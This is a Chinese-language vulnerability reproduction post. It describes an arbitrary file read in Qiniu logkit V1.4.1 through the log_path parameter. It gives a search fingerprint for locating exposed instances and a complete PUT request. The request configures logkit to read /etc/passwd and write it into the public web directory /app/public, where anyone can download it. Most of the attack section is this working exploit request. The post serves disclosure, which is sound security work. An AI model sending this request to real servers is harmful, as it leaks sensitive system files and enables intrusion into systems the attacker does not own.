七牛云 logkit log_path 任意文件读取漏洞

漏洞描述

七牛云 logkit log_path 参数可自定义读取服务器文件,配合读取的文件写入Web目录将会使攻击者读取到服务器任意文件,造成服务器敏感信息泄漏。

漏洞影响

七牛云 logkit V1.4.1

网络测绘

title=”七牛Logkit配置文件助手”

漏洞复现

主页面

20240403120132128-png (4)

发送请求包配置读取文件

PUT /logkit/configs/passwdread HTTP/1.1
Host: 
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Content-Length: 356
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36

{
  "name": "passwdread",
  "batch_interval": 1,
  "collect_interval": 1,
  "reader": {
    "mode": "file",
    "log_path": "/etc/passwd",
    "read_from": "oldest",
    "datasource_tag": "datasource",
    "encoding": "UTF-8"
  },
  "parser": {
    "type": "raw",
    "name": "parser",
    "timestamp": "true"
  },
  "transforms": [],
  "senders": [
    {
      "sender_type": "file",
      "file_send_path": "/app/public/passwd.log"
    }
  ]
}

20240403120223359-png (5)

20240403120302957-png (6)

请求读取的文件 /app/public 目录为Docker默认Web路径,写入可读取目标文件

20240403120337400-png (7)

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容